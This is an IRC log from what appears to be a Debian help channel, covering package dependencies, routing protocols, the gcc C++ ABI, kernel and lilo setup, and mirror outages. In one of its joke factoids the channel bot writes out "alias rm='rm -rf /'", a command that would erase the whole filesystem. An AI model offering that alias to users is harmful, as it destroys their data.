| 14:48.53 | peterS | sideone: anyway, as far as links2, it looks to me as though it only pulls in libx11-6 which is a library that requires some base files - that is, xfree86-common, x11-common, and xlibs-data |
| 14:49.01 | peterS | sideone: as far as I can tell, that's where the dependencies stop |
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| 14:49.04 | simplexe | xoz, u let me down ! |
| 14:49.13 | sideone | yeah, i just dont want the *-common. |
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| 14:49.46 | peterS | sideone: well, I can't tell you which of links2 and elinks will give you more crap on your system, in terms of disk space. they both depend on stuff. |
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| 14:50.12 | sideone | peterS: not worried about diskspace too much, just the x-bins. |
| 14:50.12 | wombachi | xoz perhaps grep -Ev "\b$i\b" ? |
| 14:50.15 | sideone | thx again. |
| 14:50.49 | peterS | xlibs-data has no binaries. quite a bit of data, though |
| 14:51.00 | sideone | what about -common? |
| 14:51.04 | sideone | just libs? |
| 14:51.05 | peterS | xoz: makes it think it is egrep |
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| 14:51.27 | xoz | heh |
| 14:51.33 | jarao123 | i am tryin to get my modem working on sarge, i keep getting 'permission denied'...i am logged in as root |
| 14:51.39 | wombachi | xoz: ie using 'extended' regex |
| 14:51.41 | peterS | sideone: mainly manpages and directories, and the /usr/bin/X11 -> /usr/X11R6/bin symlink |
| 14:51.52 | xoz | sed '/\b$i\b/' |
| 14:51.57 | sideone | gotcha. |
| 14:52.08 | gusar612 | Anyone in here good with quagga? |
| 14:52.26 | sideone | used zebOS for a bit |
| 14:52.26 | gusar612 | or know a good guide on how to set up RIPv2 with it... |
| 14:52.28 | peterS | gusar612: simonrvn uses it, if you catch him |
| 14:52.32 | sideone | why ripv2? |
| 14:52.45 | gusar612 | becouse ive been told to use v2 |
| 14:53.08 | sideone | how large is your network? |
| 14:53.10 | gusar612 | ok peterS .. ill try to find him |
| 14:53.14 | sideone | any failover? |
| 14:53.19 | xoz | wombachi: i think i'm more comfortable with <string> and map<string,int> in C++ with erase() and sort() overloaded functions. |
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| 14:53.24 | simplexe | i'm trying to install my sound card a ALi Corporation M5451 PCI AC-Link Controller Audio Device (rev 02) but alsaconf returns that there is no card suppoted. |
| 14:53.28 | gusar612 | at the moment 2 clients, one server and a router.. but its supposed to expand |
| 14:53.29 | peterS | gusar612: well, he's on this channel, I just don't know if he'll be paying attention here any time soon |
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| 14:53.42 | peterS | gusar612: I last saw him ... looks like 5 hours ago |
| 14:53.45 | sideone | gusar612: oh , ok, use ripv2 then |
| 14:53.54 | gusar612 | oki |
| 14:53.58 | sideone | if you have anything with a decent size i would stick to ospf though |
| 14:54.08 | sideone | imo, better in every way. |
| 14:54.15 | peterS | and here I thought RIP was entirely dead |
| 14:54.17 | gusar612 | well... not up to me |
| 14:54.22 | jeremywhiting | SET NOVICE off |
| 14:54.23 | sideone | gotcha. |
| 14:54.28 | sideone | peterS: ripv1 is |
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| 14:54.40 | sideone | 2 should be as well :) |
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| 14:54.54 | gusar612 | whats wrong with ripv2 sideone? |
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| 14:54.57 | jarao123 | trying to set up external usr sportster. i get permission denied while logged in as root. Any ideas? |
| 14:55.13 | sideone | gus, let me see if i can find a comparison chart for ya |
| 14:55.15 | peterS | gusar612: it's just that OSPF is better, as he said, in every way - so why doesn't everyone just use that. |
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| 14:55.40 | gusar612 | maybe becouse rip is so widly spread? |
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| 14:55.46 | simplexe | :(( |
| 14:56.05 | sideone | http://www.cse.ohio-state.edu/~jain/bnr/ftp/b_rout/sld030.htm |
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| 14:56.16 | simplexe | none to help me |
| 14:56.19 | gusar612 | thx |
| 14:56.23 | sideone | peterS: well eigrp > ospf as well |
| 14:56.28 | sideone | but liscensing sux. |
| 14:56.34 | jarao123 | anyone? |
| 14:56.40 | peterS | sideone: yeah, I haven't kept up on more recent routing protocols |
| 14:56.50 | sideone | true. |
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| 14:56.56 | sideone | peter, elinks rox btw. |
| 14:57.07 | sideone | back to ttysnoop |
| 14:57.12 | peterS | sideone: heh, works for me too |
| 14:57.14 | sideone | argh, i hate this program. |
| 14:57.19 | simplexe | xoz, any other ideas ?? |
| 14:57.21 | peterS | sideone: everyone should just switch to ibgp and have done (: |
| 14:57.21 | sideone | brb 10 |
| 14:57.23 | gusar612 | well... rip is supposed to be easy to use then =P (not for a moron like me tho =) |
| 14:57.28 | sideone | :) |
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| 14:57.41 | peterS | yay, another peter |
| 14:57.41 | sideone | rip is very simple to setup |
| 14:57.49 | peter__ | yes :) |
| 14:57.53 | sideone | and with a small network, it will be very easy |
| 14:57.54 | gusar612 | not for me =P |
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| 14:58.00 | gusar612 | but im totaly new to this |
| 14:58.07 | sideone | why do you need interiror routing protos on such a small network? |
| 14:58.08 | wombachi | xoz So use C++, it'll be quicker than learn Perl. Anyway, I'm sure Perl is the best tool for that kind of jobs |
| 14:58.28 | gusar612 | i dont need it sideone ... im just supposed to learn it |
| 14:58.35 | peterS | wombachi: he said 50 gigabytes of data, I think. perl doesn't scale that high very easily |
| 14:58.41 | sideone | http://203.208.166.84/jobair/L-9-13I.pdf |
| 14:58.46 | peter__ | in which cases is RIP really necessary? |
| 14:58.47 | sideone | thats fro you gus. |
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| 14:58.51 | gusar612 | k |
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| 14:59.08 | sideone | looks like a good 101 |
| 14:59.11 | peterS | peter__: in the present case, gusar612 was just told to install it. the requirement, in other words, came down from on high |
| 14:59.23 | MasterYoda | I am getting no audio from gstreamer apps, even though they look and act like they are playing something |
| 14:59.25 | sideone | came down from on high? |
| 14:59.25 | MasterYoda | any ideas? |
| 14:59.26 | sideone | amen. |
| 14:59.27 | gusar612 | ohh.. neat! =) Thx sideone |
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| 14:59.37 | chaica | h |
| 14:59.38 | chaica | hi |
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| 14:59.50 | sideone | no worries. |
| 15:00.29 | jarao123 | i get 'permission denied' while logged in as root... |
| 15:00.49 | chaica | I'm setting a public debian mirror and I encounter trouble with unstable people checking out my mirror, is there any known bug with apt? |
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| 15:01.14 | wombachi | peterS And few boxes have 50Go RAM, you're right. But if the 50Go lies in multiple files, this is not a problem |
| 15:01.31 | simplexe | pert |
| 15:01.43 | simplexe | peterS, any ideas ?? |
| 15:01.52 | peter__ | what means ABI in gcc4? |
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| 15:02.13 | MasterYoda | peter__: application binary interface? |
| 15:02.22 | peterS | simplexe: oh, I wasn't paying attention. I just scrolled up to see what you'd said. |
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| 15:02.52 | peterS | peter__: yeah, the binary interface it creates, which is mainly important for the C++ compiler - since it's incompatible with the ABI from g++ 3.3 |
| 15:02.53 | peter__ | what is the ABI good for |
| 15:02.54 | MasterYoda | peter__: it's basically how the binary modules the compiler produces are linked and how they export their symbols |
| 15:03.12 | jarao123 | -bash: /dev/tty1: Permission denied (I am root) |
| 15:03.21 | sideone | see ya guys in a bit. |
| 15:03.25 | sideone | gl gusar612 |
| 15:03.25 | peterS | peter__: two files compiled separately but linked together have to have a common specification for how they talk to each other, or they won't work. this specification is called an ABI |
| 15:03.26 | MasterYoda | peter__: the ABI is used to link two binary modules |
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| 15:03.31 | peter__ | check per-user ACMs |
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| 15:03.44 | peter__ | jarao, check per user ACMs |
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| 15:03.54 | MasterYoda | peter__: if the two binary modules have a different ABI they will not work together, it would be like two people speaking different languages |
| 15:03.57 | jarao123 | how do i do that? |
| 15:03.59 | peterS | peter__: if all the code on your system was compiled by the same compiler, you have no ABI problems. if you've been using gcc 3.3, gcc 3.4, gcc 4.0, etc., you have to pay attention to ABI issues |
| 15:04.03 | simplexe | peterS, i'm trying to install my sound card a ALi Corporation M5451 PCI AC-Link Controller Audio Device (rev 02) but alsaconf returns that there is no card supported. |
| 15:04.15 | peterS | simplexe: what kernel version have you got? 'uname -r' |
| 15:04.21 | peterS | simplexe: I can't remember if you said this before |
| 15:04.27 | MasterYoda | simplexe: you using 2.6 kernel? |
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| 15:04.34 | simplexe | yes 2.6 |
| 15:04.47 | peterS | simplexe: then try 'modprobe snd-ali5451' and then 'modprobe snd-pcm-oss' |
| 15:04.53 | peterS | simplexe: if that works, I'll tell you how to make it permanent |
| 15:05.00 | MasterYoda | simplexe: install discover and see if discover detects it, or just do what peterS said |
| 15:05.11 | MasterYoda | simplexe: run his commands and then run alsamixer |
| 15:05.20 | jarao123 | peter__ how do i check per user ACMs from shell |
| 15:05.21 | simplexe | okay |
| 15:05.51 | simplexe | peterS, modprobe: Can't locate module snd-ali5451 |
| 15:06.05 | peterS | simplexe: specifically what kernel version, then? |
| 15:06.48 | simplexe | what i have to do to know ? |
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| 15:07.06 | peterS | simplexe: it looks to me as though all 2.6 kernels support snd-ali5451. what is your kernel version? type "uname -r" |
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| 15:07.30 | simplexe | 2.2.20-idepci |
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| 15:07.48 | peterS | simplexe: you said "yes 2.6". 2.2.20 is not 2.6. |
| 15:07.48 | stew | !idepci |
| 15:07.48 | dpkg | 2.2.20-idepci makes Baby Tux cry. apt-get install kernel-image-2.2.20 or kernel-image-2.4.18-1-686 or similar. You didn't read the final section of the install guide /msg dpkg install guide. Go read it before we laugh at you :) |
| 15:07.55 | simplexe | yes |
| 15:07.55 | ufoalien | nvz! |
| 15:07.58 | simplexe | sorry |
| 15:08.08 | nvz | yes? |
| 15:08.27 | simplexe | what i ahve to do ?? |
| 15:08.29 | ufoalien | nvz: rien |
| 15:08.30 | peterS | simplexe: so, if you're using debian 3.1, install kernel-image-2.6.8-1-something |
| 15:08.34 | peterS | simplexe: what type of CPU do you have? |
| 15:08.41 | simplexe | pentium 4 |
| 15:08.44 | peter__ | i don't know the location of the ACM config file |
| 15:08.49 | xoz | wombachi: i know perl also and will implement both to counter check. in perl, maybe not more than 15 lines of code will do the trick. im thinking of hashing all keywords with their frequency count and delete the noise later. |
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| 15:09.00 | peterS | simplexe: ok, then, on debian 3.1 you want kernel-image-2.6.8-1-686 |
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| 15:09.04 | nvz | acrually its rice.. what can I say, I didnt feel much like cooking |
| 15:09.16 | peterS | simplexe: just 'apt-get install' it. then reboot afterward, if it goes ok |
| 15:09.25 | simplexe | ok i'll try |
| 15:09.25 | simplexe | thx |
| 15:09.28 | simplexe | :)) |
| 15:09.33 | peterS | !bless simplexe |
| 15:09.33 | dpkg | O $DEITY, bless your child simplexe, who is about to do something stupid and needs all the help you can give. Amen. |
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| 15:09.40 | Phated | Amen. |
| 15:09.48 | xoz | peterS: shit. i've been helping him with the assumption that he has 2.6... waste of 30 minutes time :) |
| 15:09.48 | stew | peterS: 2.6.8-1 not -2? |
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| 15:09.58 | MasterYoda | !dpkg retard |
| 15:09.58 | dpkg | well, retard is slow again, from latin 'tardis', time |
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| 15:10.04 | peter__ | jarao123: /etc/console-tools/config |
| 15:10.05 | MasterYoda | !dpkg stupid |
| 15:10.05 | peterS | stew: well, whatever is current. I don't remember. sarge is so last month |
| 15:10.06 | dpkg | rumour has it, stupid is the typical person. or Linux distro flamewars, BSD-vs-Linux flamewars, and anything with "vs" and "flame" and "war" in it, unless it's Vietnam. Wich would fall into the "plain braindead" category, or the opposite of smart, or alias rm='rm -rf /', or well, stupid is as stupid does. |
| 15:10.23 | stew | !info kernel-image-2.6.8-2-686 sarge |
| 15:10.25 | stew | i think |
| 15:10.26 | dpkg | kernel-image-2.6.8-2-686: (Linux kernel image for version 2.6.8 on PPro/Celeron/PII/PIII/P4.), section base, is optional. Version: 2.6.8-16 (sarge), Packaged size: 15164 kB, Installed size: 44156 kB |
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| 15:10.30 | peter__ | that means if i compile a library with gcc 3.4 and a tool that requires this lib it won |
| 15:10.33 | peterS | simplexe: you heard the man. stew reminds me that the package is actually kernel-image-2.6.8-2-686, not kernel-image-2.6.8-1-686 |
| 15:10.40 | peter__ | it won't work? |
| 15:10.56 | peterS | peter__: gcc 3.4 and gcc 4.0 are ABI-compatible |
| 15:11.03 | FieldySnuts | apt: start a shell war |
| 15:11.03 | apt | tcsh owns bsh |
| 15:11.08 | peter__ | ah.. but gcc.3.3 an gcc 3.4? |
| 15:11.09 | peterS | peter__: for C programs/libraries, the ABI is compatible way way back |
| 15:11.16 | peterS | peter__: for C++, 3.3 and 3.4 are incompatible |
| 15:11.22 | peter__ | ok |
| 15:11.25 | simplexe | okay peterS |
| 15:11.25 | peter__ | good to know |
| 15:11.39 | peter__ | i like people called peter ;-) |
| 15:11.41 | xoz | C++ is getting more standardize and getting better. |
| 15:11.48 | xoz | *standardized |
| 15:11.49 | MasterYoda | xoz: much better |
| 15:11.52 | ariel_ | hi guys, who can help me, I-ve compiled my own kernel but afer booting I'm unable to start my xorg server I got this message "Caught signal 11" |
| 15:12.08 | peterS | I bet the C ABI hasn't changed in 10 years |
| 15:12.24 | xoz | MasterYoda: my time spent learning it is getting enough dividends |
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| 15:12.24 | peter__ | how can i change the ABI? |
| 15:12.26 | MasterYoda | peterS: what about glib2.2 and 2.3? |
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| 15:12.39 | MasterYoda | xoz: C++ is awesom |
| 15:12.40 | peterS | MasterYoda: that's just a library version, the compiler is still spitting out the same code |
| 15:12.43 | simplexe | i've installed all the apt-get by ftp why i have an old version ?? |
| 15:12.45 | MasterYoda | peter__: switch compilers |
| 15:12.50 | nvz | mmm tasty :P |
| 15:12.51 | peterS | MasterYoda: and glibc 2.3 will run code compiled against glibc 2.2 just fine |
| 15:12.57 | nvz | well salty anyhow |
| 15:13.04 | MasterYoda | peterS: so that was only and API change then? |
| 15:13.24 | MasterYoda | !dpkg c++ |
| 15:13.26 | peterS | MasterYoda: yeah. and just in a library (though an important one) |
| 15:13.37 | MasterYoda | peterS: oh, ok |
| 15:13.37 | pablum | api != abi |
| 15:13.46 | peter__ | so you can change the ABI in the gcc source? am i right? |
| 15:13.52 | nvz | pork, veal, and rice for breakfast.. I must be in china or something |
| 15:13.52 | peterS | MasterYoda: the C++ ABI incompatibilities are at the *compiler* level, though also in libstdc++, which is pretty closely related to the compiler |
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| 15:14.10 | peterS | peter__: it's defined by how g++ spits out code, yes |
| 15:14.13 | MasterYoda | peterS: yes, this I understand |
| 15:14.22 | peter__ | yes g++... i meant that |
| 15:14.33 | MasterYoda | pablum: I understand this as well :) |
| 15:14.34 | peterS | peter__: don't try changing it yourself, this stuff is way complicated. just 'apt-get install g++-3.3' if you need an older one (: |
| 15:14.50 | xoz | MasterYoda: while perl or python is a good tool for text processing, C++ template is very handy and its error/warning during compilation makes programming very easy. interpreters can't do this kind of refinement and optimization. |
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| 15:15.17 | peterS | peter__: fortunately you can install several compilers at once in Debian if you need them - g++-3.3, g++-3.4, g++-4.0, gcc-snapshot (which is unreleased gcc 4.1 branch code) |
| 15:15.31 | RvGaTe | http://pc.rvgate.nl/ <- installed webserver yesterday, look at the default page, sucha humor, haha |
| 15:15.40 | MasterYoda | xoz: yeah, that is one of the things I like C++ over python for and C for that matter |
| 15:15.46 | MasterYoda | xoz: less runtime errors |
| 15:15.58 | peter__ | i just want to understand the API |
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| 15:16.10 | peter__ | ABI.. sorry |
| 15:16.10 | peterS | peter__: nobody understands the C++ ABI (: it really is complex. |
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| 15:16.42 | peter__ | maybe i'll hack any gcc version if i'm a more experienced programmer... |
| 15:16.54 | peter__ | ^^ |
| 15:17.02 | peter__ | for sure i do that |
| 15:17.05 | peter__ | but i have to go now |
| 15:17.07 | peter__ | cu |
| 15:17.12 | MasterYoda | later |
| 15:17.20 | aidehua | If I want to have a command run when I press a certain key, should I configure my Window manager to do this, or is there a generic X app I could use, or can I get X to run the command? /me not too hot on the issues of what does what :) |
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| 15:17.30 | peterS | peter__: the C++ ABI changed in gcc 2.95, again in Red Hat's bogus gcc 2.96, again in gcc 3.0, again in gcc 3.1, again in gcc 3.2, again in gcc 3.4. now they think they might be done screwing with it. |
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| 15:17.55 | xoz | MasterYoda: and you can immediately track any error in syntax with verbose explanation. with template programming, C++ implemetation can be done just maybe 80% slower than python or perl with better confidence that it won't encounter runtime error. |
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| 15:18.03 | IsaacHaze | aidehua: bbkeys? |
| 15:18.19 | xoz | 80% development time |
| 15:18.21 | MasterYoda | xoz: yeah, it does take longer to bang something out in c++... |
| 15:18.32 | peterS | peter__: originally g++ 3.0 was supposed to be the final "this ABI will never have to change again". too bad it didn't happen that way (: |
| 15:18.44 | MasterYoda | xoz: personally, I don't like perl at all, I agree it has it's uses, python on the other had I do like very much |
| 15:19.08 | aidehua | IsaacHaze: nice |
| 15:19.09 | MasterYoda | xoz: I like c++ more though |
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| 15:19.50 | MasterYoda | aidehua: if you are using gnome/kde that funcionallity is built in to newer versions (somewhat) |
| 15:20.05 | RvGaTe | got my own server now with an irc bot, samba, printserver and webserver... any cool stuff i missed? :) |
| 15:20.23 | xoz | MasterYoda: i tried python but after i discovered how to use templates, you can do things similar to lisps/perl/python higher level structures with very sane error/warner tracking during compilation. |
| 15:20.39 | ariel_ | does anyone know what can i do with this message "Caught signal 11" and start my xserver again? |
| 15:20.47 | MasterYoda | xoz: oh, c++ can do every thing python can do and more |
| 15:20.52 | epictetus | RvGaTe: your own chat server... fax server.. voice modem with answering machine... |
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| 15:20.56 | Vibhuti | does gnome support 915 motherboard i mean maybe x srever |
| 15:20.57 | simplexe | peterS, after installing i have only to reboot ?? |
| 15:21.20 | peterS | simplexe: well, first, are you using lilo or grub, do you know? |
| 15:21.26 | MasterYoda | xoz: but a lot of times python is faster, and also the supporting libs are more cohesive and better supported/developed in a lot of cases |
| 15:21.39 | epictetus | RvGaTe: tor or freenet server.. |
| 15:21.41 | simplexe | lilo |
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| 15:21.47 | xoz | MasterYoda: i really like the way the direction of C++ is going. it learns a lot from the mistakes of C standardization. |
| 15:21.56 | florb | Can someone tell me why I can't install Konqueror if I have any gnome/gtk stuff installed? |
| 15:21.56 | RvGaTe | anything non bandwith related epictetus? :P |
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| 15:22.05 | xoz | MasterYoda: python is faster in running time? |
| 15:22.06 | epictetus | hehe |
| 15:22.13 | MasterYoda | xoz: sometimes, but sometimes not |
| 15:22.13 | simplexe | peterS, lilo |
| 15:22.16 | florb | Here's the output: |
| 15:22.18 | florb | http://rafb.net/paste/results/rjTvet85.html |
| 15:22.23 | epictetus | rvgate: how about apt cache search server |
| 15:22.25 | MasterYoda | xoz: also it depends on the compiler as well |
| 15:22.33 | epictetus | that will list every package with "server" in the name/description |
| 15:22.33 | peterS | simplexe: so, make sure in /etc/lilo.conf you have a "initrd=/initrd.img" after the "image=/vmlinuz" line. do you? |
| 15:22.34 | florb | It wants to remove abiword, gnome-core, gaim, etc. if I try to install anything remotely KDE-related |
| 15:22.34 | epictetus | hehehe |
| 15:22.41 | RvGaTe | epictetus: what does it do? :P |
| 15:23.15 | florb | Is there a way to tell what the conflict is? |
| 15:23.46 | florb | I mean.. why does it want to remove abiword or gnome-core or gedit, if I install KDE applications? I don't even run KDE or GNOME as my environment. |
| 15:23.55 | xoz | MasterYoda: i thought there is a big difference between compilers from interpreters.. but python uses *semi-compiled* objects the way i understand it... some even said that java runs faster than C and C++... but i still stick with C++. |
| 15:24.05 | csdgp | xoz: One of the things that I prefer about python is that it gives tracebacks when you have an error that tell you exactly where the error is -- makes me more productive in general script writing... |
| 15:24.20 | florb | csdgp: All scripting languages give you that |
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| 15:24.36 | florb | Well, all high-level ones do (perl, python, ruby, tcl) |
| 15:24.37 | Vibhuti | can anybody help me i openwbem |
| 15:24.44 | xoz | csdgp: C++ or other compilers have profilers |
| 15:24.44 | Vibhuti | and sblim |
| 15:24.48 | MasterYoda | xoz: java can be faster is some cases, but the reason people think java is slow is because often with GUI apps the are not as responsive as their c/c++ cousins |
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| 15:25.16 | simplexe | peterS, no haven't |
| 15:25.19 | florb | Ah, libaspell15c2 is the problem |
| 15:25.25 | peterS | simplexe: edit that file, add that line |
| 15:25.26 | MasterYoda | xoz: interpreters can be fast, and even though python is compiled into bytecode it is still interpreted |
| 15:25.28 | florb | libaspell15c2 conflicts with libaspell15 |
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| 15:25.36 | florb | Which breaks GNOME and KDE dependencies |
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| 15:25.38 | csdgp | florb: true, but I was comparing to c/c++. of course, the right tool for the job :) |
| 15:25.43 | peterS | florb: welcome to unstable. the C++ ABI transition is in progress. |
| 15:25.48 | Vibhuti | can i find a documnet which tells the set of classes in fsvol or networlkin in opeenwbem |
| 15:26.04 | florb | peterS: Still? Ok, I figured that would have resolved. I haven't seen any updates in Sid in about 2 weeks. |
| 15:26.18 | simplexe | peterS, it's done |
| 15:26.36 | florb | simplexe: Whats done? |
| 15:26.39 | peterS | florb: sid hasn't updated in the past several days due to the ftp-master queue being out of commission, due to a machine being shipped to ft. collins |
| 15:26.50 | florb | peterS: ah |
| 15:26.52 | peterS | simplexe: now run 'lilo' and make sure it doesn't say anything too weird |
| 15:26.54 | simplexe | adding the line florb |
| 15:27.06 | peterS | florb: ftp-master service is likely to resume in a few hours, with luck |
| 15:27.15 | simplexe | peterS, running lilo how?? |
| 15:27.17 | florb | peterS: No secondary? |
| 15:27.25 | xoz | MasterYoda: i really like the fact that once there are no errors during compilation, you can relax knowing that your program will not encounter problem as long as you hv the correct logic of what you want to do. the process of making sure that the libs and other related files are properly integrated is what makes compilers a good tool. |
| 15:27.25 | jetx | type lilo |
| 15:27.38 | MasterYoda | peterS: will I get a bunch of shiny new packages then? |
| 15:27.43 | peterS | florb: the machine was unplugged and shipped out with no warning, so they couldn't shut down the service and back it up to another machine |
| 15:27.50 | simplexe | peterS, Fatal: open /initrd.img: No such file or directory |
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| 15:28.07 | MasterYoda | xoz: well sort of, your program can still crash :) |
| 15:28.08 | jetx | ls /boot/initrd* |
| 15:28.21 | peterS | MasterYoda: you'll get a *flood* of 'em, today or tomorrow, whenever the queue processing resumes and developers start uploading things again that they've been sitting on for the past week |
| 15:28.24 | MasterYoda | xoz: but syntax errors and type errors and that kind of thing won't bite you :) |
| 15:28.26 | jetx | then ls -l / |
| 15:28.34 | jetx | then ls -l /initrd* -d |
| 15:28.37 | MasterYoda | peterS: sweet, that's what I need |
| 15:28.43 | chaica | are there big problems with apt in sid ? I can't connect to a unstable mirror? |
| 15:28.55 | MasterYoda | peterS: sometimes I wish I had more time for fixing bugs |
| 15:28.56 | xoz | MasterYoda: yeah... plus exceptions in C++ |
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| 15:29.09 | simplexe | peterS, goes like this ? image=/vmlinuz |
| 15:29.09 | simplexe | <PROTECTED> |
| 15:29.09 | simplexe | <PROTECTED> |
| 15:29.09 | simplexe | <PROTECTED> |
| 15:29.09 | simplexe | # restricted |
| 15:29.10 | jetx | if there is no symlink in / pointing to the initrd.img in /boot, make one |
| 15:29.10 | simplexe | # alias=1 |
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| 15:29.13 | peterS | chaica: the whole mirror network apparently had a few problems related to ftp-master being shut down unexpectedly last week |
| 15:29.15 | MasterYoda | xoz: I love exceptions |
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| 15:29.26 | simplexe | re |
| 15:29.27 | simplexe | sorry |
| 15:29.30 | peterS | simplexe: yeah, don't flood the channel |
| 15:29.41 | simplexe | ok |
| 15:29.51 | chaica | peterS: ok thx a lot peters |
| 15:29.51 | peterS | simplexe: that looks fine. try 'dpkg-reconfigure kernel-image-2.6.8-2-686' to see if you can get it to rebuild the initrd |
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| 15:30.01 | MasterYoda | PerfDave: don't be so surprised, there is lots of debian infrastructure stuff that needs work |
| 15:30.02 | mick_home | is there a wiki on getting started with creating a subdomain on debian.net? |
| 15:30.09 | peterS | chaica: I don't know if that's the problem you are seeing or not, though |
| 15:30.36 | xoz | MasterYoda: one guy in ##c is saying that gcc does not support template. i realized that this guy haven't use gcc... maybe, a microsoft c guy. |
| 15:30.37 | tucoz | Hi, I am trying to install debian and have to use expert26 to get the installer to detect my hd. The disk is partitioned with partition magic. |
| 15:30.38 | mick_home | i posted this to the debian dev. list - and someone emailed me offlist telling me taht theere was a wiki somewhere |
| 15:30.40 | simplexe | before , peterS the installation with apt tell me if i want to stop now ! |
| 15:30.43 | fatal__ | PerfDave: Where's the single point of failure? The mirrors are still up.... |
| 15:30.45 | peterS | PerfDave: how would you have arranged for redundancy? it's an extremely high-bandwidth job - they insist on unmetered 100 Mbit, preferably unmetered Gbit |
| 15:31.03 | simplexe | i'll copy the msg in #flood |
| 15:31.03 | mick_home | i'd like to create a torrents.debian.net - for things like the debconf videos etc. |
| 15:31.09 | MasterYoda | xoz: don't hang out too long in ##c, g++/gcc fully supports templates :) |
| 15:31.11 | xoz | tucoz: linux26 also might be able to detect it |
| 15:31.22 | florb | mick_home: Where are those debconf vids anyway? |
| 15:31.24 | MasterYoda | xoz: people with out better things to do hang out in ##c... |
| 15:31.25 | tucoz | Should I set the mount-point to /, and bootable to on? (in a dualboot system) |
| 15:31.34 | tucoz | xoz: unfortunatley not |
| 15:31.36 | Lordnazgul | ok so i've heard about people installing debian, or other distro's, on a usb thumb drive, and i was intrigued. obviously this gives a small portable install that can boot on many computers, however, i had a couple of questions about its usefullness. obviously it will only boot properly off of the usb drive if the computers bios is configured to do so, but each machine will have different hardware. how comprehensive are the driv |
| 15:31.36 | MasterYoda | xoz: it's not like in here, where almost everyone is helpful |
| 15:31.40 | mick_home | florb: no, i'm not settinging up a wiki |
| 15:31.56 | xoz | MasterYoda: yep. |
| 15:32.01 | florb | mick_home: That's not what I asked |
| 15:32.05 | PerfDave | fatal__: The single point of failure is that when one server is down, new packages can't get into unstable. When that server goes down unexpectedly, a whole week can go by with no updates. If something more drastic happened, the downtime would be worse. |
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| 15:32.11 | Unified | hi |
| 15:32.15 | mick_home | florb: http://dc5video.debian.net/ |
| 15:32.24 | florb | danke |
| 15:32.25 | PerfDave | fatal__: It's not a huge problem, but it's not exactly an elegant situation. |
| 15:32.29 | MasterYoda | Lordnazgul: you could always run discover on it, to detect HW on boot |
| 15:32.34 | mick_home | florb: bitte |
| 15:32.38 | Unified | does anyone know if the snd-usbaudio driver from alsa is capable of detecting the capabilites from the external soundcard? |
| 15:32.45 | Lordnazgul | yoda, every boot? |
| 15:32.56 | mick_home | florb: i'd like to setup a subdomain on debian.net (that was the question) |
| 15:32.59 | tucoz | xoz: or are there ways in linux26 to get to the list of the drivers for different hd-controllers? |
| 15:33.01 | fatal__ | PerfDave: I don't view it as a "failure".... Having no updates for a week in unstable maybe isn't optimal, but nowhere near a failure.. |
| 15:33.06 | MasterYoda | Lordnazgul: yeah, every boot |
| 15:33.13 | mick_home | who do i talk to about that? |
| 15:33.13 | shingouz | Unified: works for me |
| 15:33.20 | PerfDave | fatal__: It's a failure. It might not be a terrible failure, but it's a failure. |
| 15:33.25 | Unified | shingouz which one do you have? |
| 15:33.32 | florb | mick_home: What technology was used to record these? |
| 15:33.39 | Lordnazgul | yoda ok, how about picking up windows partitions |
| 15:33.46 | PerfDave | fatal__: If something more serious happened to ftp-master, there may be a longer downtime, or loss of data. |
| 15:33.50 | mick_home | ffmpeg |
| 15:33.50 | xoz | tucoz: check the help file. you can pass parameters to the kernel during boot. |
| 15:33.54 | MasterYoda | Lordnazgul: you will need some other utils for that |
| 15:34.02 | mick_home | i didn't do it - but i know who did |
| 15:34.03 | tucoz | ok, thanks. I'll do that |
| 15:34.16 | Lordnazgul | yoda: such as? |
| 15:34.22 | MasterYoda | Lordnazgul: don't know |
| 15:34.23 | fatal__ | PerfDave: loss of data? how would that happen? |
| 15:34.29 | MasterYoda | Lordnazgul: but there are tools for that too |
| 15:34.30 | Lordnazgul | yoda: ok |
| 15:34.30 | mick_home | florb: if you want vorbis, just wait |
| 15:34.32 | Unified | terratec aureon mk ii? |
| 15:34.51 | fatal__ | PerfDave: I think you're overreacting... |
| 15:34.54 | mick_home | florb: i know a few people are asking for it... you can't please everyone ;-) |
| 15:34.54 | florb | mick_home: No no, I'd like to do this for our LUG, just not sure what is required. |
| 15:34.55 | MasterYoda | Lordnazgul: you may want to do some research, knoppix (boots from cd) does what you are trying to do |
| 15:34.56 | PerfDave | fatal__: AIUI, there is data on ftp-master and nowhere else, which is why a replacement hasn't been brought up over the last week. |
| 15:34.57 | Lordnazgul | yoda: any idea what size thumb drive i could get away with. id like to do it on a 128 |
| 15:35.13 | MasterYoda | Lordnazgul: no Idea, I have never done it |
| 15:35.15 | PerfDave | fatal__: Who's overreacting? I'm just saying that there's a weakness in Debian's infrastructure, and I'm surprised it hasn't been fixed already. |
| 15:35.20 | Lordnazgul | yoda: ok thanx much |
| 15:35.23 | useruser | how do i get new fonts in ~/.fonts to reappear, short of restarting X? |
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| 15:35.35 | useruser | (in apps using fontconfig) |
| 15:35.38 | MasterYoda | Lordnazgul: no prob, you may want to go to #knoppix and see if they have any pointers |
| 15:35.40 | mick_home | florb: email me off the channel (i'll send you a /msg) -- i have experience with that and i'll tell you what you need etc. |
| 15:35.46 | Unified | shingouz? |
| 15:35.54 | xoz | useruser: xset +fp? |
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| 15:36.20 | shingouz | Unified: sorry, multitasking. plantronics usb headset |
| 15:36.28 | mick_home | when i get some time tonight I'll write you |
| 15:36.53 | useruser | xoz: you mean xset fp rehash? |
| 15:36.57 | shingouz | Unified: the plantronix thingie is actually a small soundcard that has headset and microphone plugs on it and everything is detected 100% |
| 15:37.10 | Unified | ah k |
| 15:37.11 | Unified | thx |
| 15:37.24 | MasterYoda | ok, back to work |
| 15:37.25 | useruser | xoz: xset +fp just gives me the xset help |
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| 15:37.29 | shingouz | Unified: what are you planning to run? |
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| 15:37.41 | florb | mick_home: Sent. |
| 15:38.18 | mick_home | ok, when I get off work - i'll email you |
| 15:38.23 | florb | Thanks |
| 15:38.32 | xoz | useruser: xset +fp <font path> |
| 15:38.38 | Unified | well, problem is that my dolby digital decoder broke today (because of snd-hda-intel...), so i need an external solution for my notebook, which gives me 5.1 via analog. thought of an terratec aureon mk ii |
| 15:38.55 | mick_home | 7pm EDT |
| 15:39.06 | xoz | useruser: xset q will tell you the font paths X is using |
| 15:39.09 | useruser | xoz: i don't think so - that's the old-fashioned way of using fonts in X |
| 15:39.10 | Lee__ | #gnome-debian is particularly empty |
| 15:39.15 | useruser | xoz: i'm talking about fontconfig |
| 15:39.29 | Lee__ | does gnome have a GUI for displaying info/man pages? |
| 15:39.33 | useruser | xoz: xset +fp ~/.fonts tells me it's not a fonts directoy |
| 15:39.44 | peterS | !bless simplexe, again |
| 15:39.45 | xoz | useruser: +fp < .fonts |
